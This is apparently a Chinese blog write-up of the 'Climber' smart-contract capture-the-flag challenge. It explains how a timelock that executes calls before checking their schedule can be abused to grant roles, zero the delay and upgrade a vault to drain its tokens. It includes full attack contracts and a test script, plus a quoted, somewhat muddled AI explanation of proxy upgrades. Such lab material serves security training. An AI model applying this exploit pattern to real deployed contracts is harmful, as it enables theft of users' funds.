抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.

The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.

On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.

On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.

To pass this challenge, take all tokens from the vault.

要求:从保险库中取出所有代币

题目链接

2. analysing

2.1 ClimberVault.sol

在本合约中有两个函数可以从中取钱,一个是withdraw一个是sweepFunds,金库里面有10 million,而withdraw一次性只能取1个,显然该方法不可靠。所以只能通过sweepFunds一次性将所有的代币一扫而空,但是他有一个限制,便是只有sweeper,才能调用此操作,可是函数在initialize初始化中就已经将sweeper的值给设置好了,我无法修改,看似已经无解了。但是该合约是一个可升级,只要将该合约升级,且升级后的合约中sweepFunds函数没有了限制,那就可以解决了。

📌AI解读:

在使用 OpenZeppelin 升级库进行合约升级时,原来的函数仍然可以使用,但是这些函数的实现可能已经被升级合约中的新实现所覆盖。

这是因为,在使用升级库进行合约升级时,原始合约的代码和数据存储被转移到了代理合约中,并且原始合约的函数调用被重定向到代理合约。在代理合约的上下文中,所有的函数调用都会被路由到当前实现的版本。如果升级合约中的新实现与原始合约中的函数具有相同的名称,则代理合约将使用升级合约中的新实现来处理这些函数调用。

然而,如果原始合约中的函数没有被升级合约中的新实现所覆盖,则代理合约将继续使用原始合约中的函数实现来处理这些函数调用。

现在要找升级合约的入口。

2.2 ClimberTimelock.sol

分析该合约咋一看,执行的逻辑是:先执行通过schedule才能执行通过execute,但仔细看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (uint8 i = 0; i < targets.length;) {

// 调用dataElements[i]函数,发送values[i] ETH
// 底层中 call 的调用者是本合约
targets[i].functionCallWithValue(dataElements[i], values[i]);

unchecked {
++i;
}
}

if (getOperationState(id) != OperationState.ReadyForExecution) {
revert NotReadyForExecution(id);
}

先执行再判断,这就是漏洞,我们可以先通过functionCallWithValue执行schedule函数,然后就可以顺利通过接下来的断言。但是这个一个循环,且循环次数由自己确定,我便可以在里面做很多想做的事情。要执行通过schedule,的要求是调用者得是PROPOSER_ROLE,又因为_setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE)_setupRole(ADMIN_ROLE, address(this)),使得本合约拥有对PROPOSER_ROLE成员的授权功能,所以可以将hacker授权给PROPOSER_ROLE

📌注意:

本身grantRole函数是,ClimberTimelock合约自身的函数,按理来说,及时合约本身是 getRoleAdmin(role) 角色的管理员,但是由于在自身合约中,其无法满足onlyRole修饰器中的_checkRole(role, _msgSender())语句,但是targets[i].functionCallWithValue(dataElements[i], values[i])则是通过库合约调自己函数,这样一来,msg.sender便是ClimberTimelock本身了,这样一来就可以成功通过选择器的限制。

授权过后,将delay置零,该函数的断言 if (msg.sender != address(this))的通过原理同上。

最后将合约升级调用upgradeTo函数,该函数是在ClimberVault合约中的,可以通过如上原理通过断言require(address(this) != __self, "Function must be called through delegatecall"),这里库合约的用法很是玄妙~

捋一下,做题思路为:

1
2
3
4
5
6
/*
1. (grantRole) 将 PROPOSER_ROLE 的身份授予 hacker: target=timelock
2. (updateDelay) 将 delay 修改为 0: target=timelock
3. (schedule) 进行排队: target=hacker
4. (upgradeTo) 将合约升级,覆盖掉之间的 sweepFunds() 函数: target=vault
*/

3. solving

3.1 ClimberHack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ClimberVault.sol";
import "hardhat/console.sol";

/** 编写攻击合约 */
contract ClimberHack {

ClimberVault vault;
ClimberTimelock timelock;
address fakeVault;
address token;
address[] targets;
uint256[] values;
bytes[] dataElements;

constructor(
address _vault,
address payable _timelock,
address _fakeVault,
address _token
){
vault = ClimberVault(_vault);
timelock = ClimberTimelock(_timelock);
fakeVault = _fakeVault;
token = _token;
targets = [address(timelock), address(timelock), address(this), address(vault)];
values = [0, 0, 0, 0];
dataElements = [
abi.encodeWithSignature("grantRole(bytes32,address)", PROPOSER_ROLE, address(this)),
abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, 0),
abi.encodeWithSignature("fakeSchedule()"),
abi.encodeWithSignature("upgradeTo(address)", fakeVault)];

}

function attack() external returns (bool success) {

timelock.execute(targets, values, dataElements, "");
(success, ) = address(vault).call(abi.encodeWithSignature("sweepFunds(address,address)", token, msg.sender));
}

function fakeSchedule() public {
// msg.sender = hacker
timelock.schedule(targets, values, dataElements, "");
}
}

3.2 FakeVault.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ClimberVault.sol";
import "hardhat/console.sol";

/** 待升级合约,需要覆盖掉 sweepFunds(address) 函数 */
contract FakeVault is UUPSUpgradeable {

/** 其中状态变量的值的位置需要和ClimberVault中的位置相对应 */
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;

/** 重写 sweepFunds() 函数覆盖调之前的 sweepFunds() 函数,丢掉 onlySweeper 限制 */
function sweepFunds(address token, address player) external {
console.log("fakevault'address_this = ", address(this));
SafeTransferLib.safeTransfer(token, player, IERC20(token).balanceOf(address(this)));
}

/** 这是抽象合约必须要实现的函数 */
function _authorizeUpgrade(address newImplementation) internal override {}
}

3.3 challenge.js

1
2
3
4
5
6
7
8
9
10
11
12
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */

const fakeVault = await (await ethers.getContractFactory("FakeVault", player)).deploy();
const hacker = await (await ethers.getContractFactory("ClimberHack", player)).deploy(
vault.address, timelock.address, fakeVault.address, token.address
);
await hacker.attack();
console.log("fakeVaule = ",fakeVault.address);
console.log("climberVault =", vault.address);

});

运行结果

image-20230727201636103

由结果不难看出我的想法是正确的,FakeVault合约的sweepFunds函数是在climberVault中执行的

其中,采用低级调用address(vault).call(abi.encodeWithSignature("sweepFunds(address,address)", token, msg.sender)),而不直直接用vault调用是因为该函数已经重写了,编译报错。

解题成功。

评论



政策 · 统计 | 本站使用 Volantis 主题设计